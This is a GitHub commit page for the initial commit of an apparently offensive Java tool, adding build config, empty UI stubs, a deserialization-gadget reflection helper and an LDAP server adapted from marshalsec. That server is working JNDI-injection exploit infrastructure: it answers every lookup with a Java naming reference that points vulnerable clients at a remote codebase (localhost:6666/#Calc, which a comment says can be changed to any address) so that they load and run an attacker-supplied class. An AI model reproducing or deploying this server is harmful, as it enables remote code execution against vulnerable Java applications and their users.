Skip to content
This repository was archived by the owner on Jul 25, 2024. It is now read-only.

Commit 4f25571

Browse files
committed
init
1 parent bf37a99 commit 4f25571

18 files changed

Lines changed: 4553 additions & 0 deletions

assembly.xml

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
<assembly
2+
xmlns="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3 http://maven.apache.org/xsd/assembly-1.1.3.xsd">
5+
<id>fat-tests</id>
6+
<formats>
7+
<format>jar</format>
8+
</formats>
9+
<includeBaseDirectory>false</includeBaseDirectory>
10+
<dependencySets>
11+
<dependencySet>
12+
<outputDirectory>/</outputDirectory>
13+
<useProjectArtifact>true</useProjectArtifact>
14+
<unpack>true</unpack>
15+
<scope>test</scope>
16+
</dependencySet>
17+
</dependencySets>
18+
<fileSets>
19+
<fileSet>
20+
<directory>${project.build.directory}/test-classes</directory>
21+
<outputDirectory>/</outputDirectory>
22+
<includes>
23+
<include>**/*.class</include>
24+
</includes>
25+
<useDefaultExcludes>true</useDefaultExcludes>
26+
</fileSet>
27+
</fileSets>
28+
</assembly>
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
package com.drops.main;
2+
3+
import javafx.application.Application;
4+
import javafx.stage.Stage;
5+
6+
public class main extends Application {
7+
8+
public static void main(String[] args) {
9+
launch(args);
10+
}
11+
12+
@Override
13+
public void start(Stage primaryStage) {
14+
15+
}
16+
}
Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
package com.drops.ui;
2+
3+
/**
4+
* @ClassName: Gui
5+
* @Description: TODO
6+
* @Author: Summer
7+
* @Date: 2021/7/20 16:50
8+
* @Version: v1.0.0
9+
* @Description:
10+
**/
11+
public class Gui {
12+
13+
}
Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
package com.drops.utils;
2+
3+
import com.nqzero.permit.Permit;
4+
import sun.reflect.ReflectionFactory;
5+
6+
import java.lang.reflect.AccessibleObject;
7+
import java.lang.reflect.Constructor;
8+
import java.lang.reflect.Field;
9+
import java.lang.reflect.InvocationTargetException;
10+
11+
@SuppressWarnings ( "restriction" )
12+
public class Reflections {
13+
14+
public Reflections(String name) {
15+
}
16+
17+
public static void setAccessible(AccessibleObject member) {
18+
// quiet runtime warnings from JDK9+
19+
Permit.setAccessible(member);
20+
}
21+
22+
public static Field getField(final Class<?> clazz, final String fieldName) {
23+
Field field = null;
24+
try {
25+
field = clazz.getDeclaredField(fieldName);
26+
setAccessible(field);
27+
}
28+
catch (NoSuchFieldException ex) {
29+
if (clazz.getSuperclass() != null) {
30+
field = getField(clazz.getSuperclass(), fieldName);
31+
}
32+
}
33+
return field;
34+
}
35+
36+
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
37+
final Field field = getField(obj.getClass(), fieldName);
38+
field.set(obj, value);
39+
}
40+
41+
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
42+
final Field field = getField(obj.getClass(), fieldName);
43+
return field.get(obj);
44+
}
45+
46+
public static Constructor<?> getFirstCtor(final String name) throws Exception {
47+
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
48+
setAccessible(ctor);
49+
return ctor;
50+
}
51+
52+
public static Object newInstance(String className, Object ... args) throws Exception {
53+
return getFirstCtor(className).newInstance(args);
54+
}
55+
56+
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
57+
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
58+
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
59+
}
60+
61+
@SuppressWarnings ( {"unchecked"} )
62+
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
63+
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
64+
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
65+
setAccessible(objCons);
66+
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
67+
setAccessible(sc);
68+
return (T)sc.newInstance(consArgs);
69+
}
70+
71+
}
Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
package com.drops.utils;
2+
3+
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
4+
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
5+
import com.unboundid.ldap.listener.InMemoryListenerConfig;
6+
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
7+
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
8+
import com.unboundid.ldap.sdk.Entry;
9+
import com.unboundid.ldap.sdk.LDAPException;
10+
import com.unboundid.ldap.sdk.LDAPResult;
11+
import com.unboundid.ldap.sdk.ResultCode;
12+
13+
import javax.net.ServerSocketFactory;
14+
import javax.net.SocketFactory;
15+
import javax.net.ssl.SSLSocketFactory;
16+
import java.net.InetAddress;
17+
import java.net.MalformedURLException;
18+
import java.net.URL;
19+
20+
/**
21+
* @ClassName: ldapserver
22+
* @Description: TODO
23+
* @Author: Summer
24+
* @Date: 2020/7/9 14:37
25+
* @Version: v1.0.0
26+
* @Description: 根据marshalsec中源码修改
27+
**/
28+
public class ldapserver {
29+
private static final String LDAP_BASE = "dc=example,dc=com";
30+
31+
32+
public static void main ( String[] args ) {
33+
//端口可以修改
34+
int port = 1389;
35+
36+
try {
37+
// URL地址可以修改成任意地址
38+
URL url = new URL("http://localhost:6666/#Calc");
39+
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
40+
config.setListenerConfigs(new InMemoryListenerConfig(
41+
"listen", //$NON-NLS-1$
42+
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
43+
port,
44+
ServerSocketFactory.getDefault(),
45+
SocketFactory.getDefault(),
46+
(SSLSocketFactory) SSLSocketFactory.getDefault()));
47+
48+
config.addInMemoryOperationInterceptor(new OperationInterceptor(url));
49+
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
50+
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
51+
ds.startListening();
52+
53+
}
54+
catch ( Exception e ) {
55+
e.printStackTrace();
56+
}
57+
}
58+
59+
private static class OperationInterceptor extends InMemoryOperationInterceptor {
60+
61+
private URL codebase;
62+
63+
64+
/**
65+
*
66+
*/
67+
public OperationInterceptor ( URL cb ) {
68+
this.codebase = cb;
69+
}
70+
71+
72+
/**
73+
* {@inheritDoc}
74+
*
75+
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
76+
*/
77+
@Override
78+
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
79+
String base = result.getRequest().getBaseDN();
80+
Entry e = new Entry(base);
81+
try {
82+
sendResult(result, base, e);
83+
}
84+
catch ( Exception e1 ) {
85+
e1.printStackTrace();
86+
}
87+
88+
}
89+
90+
91+
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
92+
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
93+
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
94+
e.addAttribute("javaClassName", "foo");
95+
String cbstring = this.codebase.toString();
96+
int refPos = cbstring.indexOf('#');
97+
if ( refPos > 0 ) {
98+
cbstring = cbstring.substring(0, refPos);
99+
}
100+
e.addAttribute("javaCodeBase", cbstring);
101+
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
102+
e.addAttribute("javaFactory", this.codebase.getRef());
103+
result.sendSearchEntry(e);
104+
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
105+
}
106+
107+
}
108+
}

0 commit comments

Comments
 (0)